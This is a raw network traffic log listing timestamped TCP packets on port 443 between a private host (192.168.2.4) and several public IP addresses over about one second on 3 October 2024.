Oct 3, 2024 10:41:39.946404934 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.946461916 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.946504116 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.946521044 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.946568966 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.946643114 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.946697950 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.947395086 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.948426008 CEST	49915	443	192.168.2.4	18.202.39.134
Oct 3, 2024 10:41:39.948446035 CEST	443	49915	18.202.39.134	192.168.2.4
Oct 3, 2024 10:41:39.967139959 CEST	49931	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.967196941 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.967308998 CEST	49931	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.967612028 CEST	49931	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:39.967633009 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:39.968889952 CEST	49932	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:39.968992949 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:39.969067097 CEST	49932	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:39.969849110 CEST	49932	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:39.969892979 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:39.975404024 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:39.976650953 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.976738930 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.976820946 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.977184057 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:39.977222919 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:39.978209019 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:39.978238106 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:39.978342056 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:39.978507996 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:39.978537083 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:39.991400957 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.023128986 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:40.023396969 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.023457050 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.023461103 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:40.023473978 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:40.024679899 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:40.024749041 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:40.026979923 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:40.027045965 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:40.027251005 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:40.034667969 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.034724951 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.056339025 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.056608915 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.056637049 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.057112932 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.057404995 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.057492018 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.057553053 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.059900999 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.060163021 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.060178995 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.061625957 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.061697006 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.062078953 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.062153101 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.062201023 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.071069956 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.071321964 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.071348906 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.071409941 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:40.072441101 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.072524071 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.073112965 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.073179007 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.073388100 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.073400974 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.088967085 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.089343071 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.089373112 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.089852095 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.090298891 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.090388060 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.090462923 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.092010021 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.092268944 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.092289925 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.093379021 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.093445063 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.093749046 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.093806028 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.093890905 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.093900919 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.103404999 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.107410908 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.132817030 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:40.132879972 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:40.134886026 CEST	49923	443	192.168.2.4	52.3.55.35
Oct 3, 2024 10:41:40.134907961 CEST	443	49923	52.3.55.35	192.168.2.4
Oct 3, 2024 10:41:40.135401011 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.135595083 CEST	49935	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.135637045 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.135694981 CEST	49935	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.135912895 CEST	49935	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.135926962 CEST	443	49935	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.136852980 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.136924982 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.136924982 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.136940002 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.137047052 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.137061119 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.137068987 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.186033010 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.186120033 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.186197042 CEST	49922	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.186819077 CEST	49922	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.186836958 CEST	443	49922	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.204962969 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.205063105 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.205127001 CEST	49921	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.205996037 CEST	49921	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:40.206012964 CEST	443	49921	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:40.210346937 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.210372925 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.210449934 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.210495949 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.210495949 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.210835934 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:40.210884094 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:40.211002111 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:40.211302996 CEST	49937	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.211338997 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.211390972 CEST	49937	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.211538076 CEST	49936	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:40.211560011 CEST	443	49936	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:40.211679935 CEST	49937	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.211690903 CEST	443	49937	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.212095022 CEST	49919	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.212111950 CEST	443	49919	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.219222069 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.219249964 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.219362974 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.219739914 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.219803095 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.219860077 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.220201015 CEST	49938	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.220213890 CEST	443	49938	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.220330954 CEST	49939	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.220355034 CEST	443	49939	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.255508900 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.255534887 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.255587101 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.255608082 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.255623102 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.255656958 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.265069008 CEST	49920	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.265096903 CEST	443	49920	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.293257952 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.293291092 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.293399096 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.293689966 CEST	49940	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.293700933 CEST	443	49940	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.311927080 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:40.311964989 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:40.312031984 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:40.312475920 CEST	49941	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:40.312489986 CEST	443	49941	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:40.327152967 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.328074932 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.341331959 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.341384888 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.341463089 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.341516018 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.344114065 CEST	49927	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.344130993 CEST	443	49927	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.344526052 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.344563961 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.345196009 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.345196009 CEST	49942	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.345227003 CEST	443	49942	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.348527908 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.348543882 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.348571062 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.348582029 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.348587990 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.348592997 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.348608971 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.348633051 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.348651886 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.348664045 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.348664045 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.359704971 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.359945059 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.360008955 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.361864090 CEST	49926	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.361879110 CEST	443	49926	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.362394094 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.362432957 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.362488985 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.363120079 CEST	49943	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.363133907 CEST	443	49943	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.368902922 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.369004011 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.369080067 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.370031118 CEST	49924	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.370044947 CEST	443	49924	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.393106937 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.404726028 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.404740095 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.404772043 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.404784918 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.404814005 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.404830933 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.404865026 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.407640934 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.407695055 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.407713890 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.407752991 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.407757998 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.407795906 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.407882929 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.407898903 CEST	443	49928	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.407910109 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.407943964 CEST	49928	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.418026924 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.418085098 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.418113947 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.418129921 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.418138981 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.418160915 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.418176889 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.428992033 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.429013968 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.429070950 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.429090023 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.429111958 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.429120064 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.429140091 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.429147959 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.429176092 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.460727930 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.460748911 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.460800886 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.460819006 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.460864067 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.461565971 CEST	49914	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.461587906 CEST	443	49914	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.469603062 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.469664097 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.469789028 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.470293999 CEST	49944	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.470324993 CEST	443	49944	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.492424011 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.492443085 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.492495060 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.492506027 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.492526054 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.493297100 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.496289015 CEST	49918	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.496304989 CEST	443	49918	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.502171993 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.502208948 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.502301931 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.502331972 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.502384901 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.504167080 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.504205942 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.504218102 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.504228115 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.504231930 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.504245996 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.504283905 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.505234003 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.505274057 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.505306005 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.505311012 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.505337954 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.505356073 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.505393028 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.505903959 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.505942106 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.506045103 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.506666899 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.506685019 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.507360935 CEST	49925	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.507371902 CEST	443	49925	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.551783085 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.552246094 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.552290916 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.552488089 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.552572966 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.552601099 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.552843094 CEST	49946	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.552855968 CEST	443	49946	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.553678036 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.553734064 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.554167032 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.554229021 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.554335117 CEST	49929	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.554343939 CEST	443	49929	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.561163902 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.561779976 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.561811924 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.562910080 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.562967062 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.563354015 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.563442945 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.563806057 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.563818932 CEST	443	49930	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.585911989 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.585954905 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.586112976 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.586374044 CEST	49947	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.586385012 CEST	443	49947	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:40.602138042 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.602709055 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.602735043 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.603161097 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.603657007 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.603760004 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.603833914 CEST	49933	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:40.637413025 CEST	49930	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:40.647408009 CEST	443	49933	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:40.653458118 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:40.653898954 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:40.653924942 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:40.655246973 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:40.655312061 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:40.656513929 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:40.656594038 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:40.656920910 CEST	49934	443	192.168.2.4	18.245.46.25
Oct 3, 2024 10:41:40.656934023 CEST	443	49934	18.245.46.25	192.168.2.4
Oct 3, 2024 10:41:40.685220003 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:40.685225010 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.685607910 CEST	49931	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:40.685627937 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.685875893 CEST	49932	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:40.685895920 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:40.686006069 CEST	443	49931	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:40.686280012 CEST	443	49932	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:40.686413050 CEST	49931	443	192.168.2.4	13.33.187.116
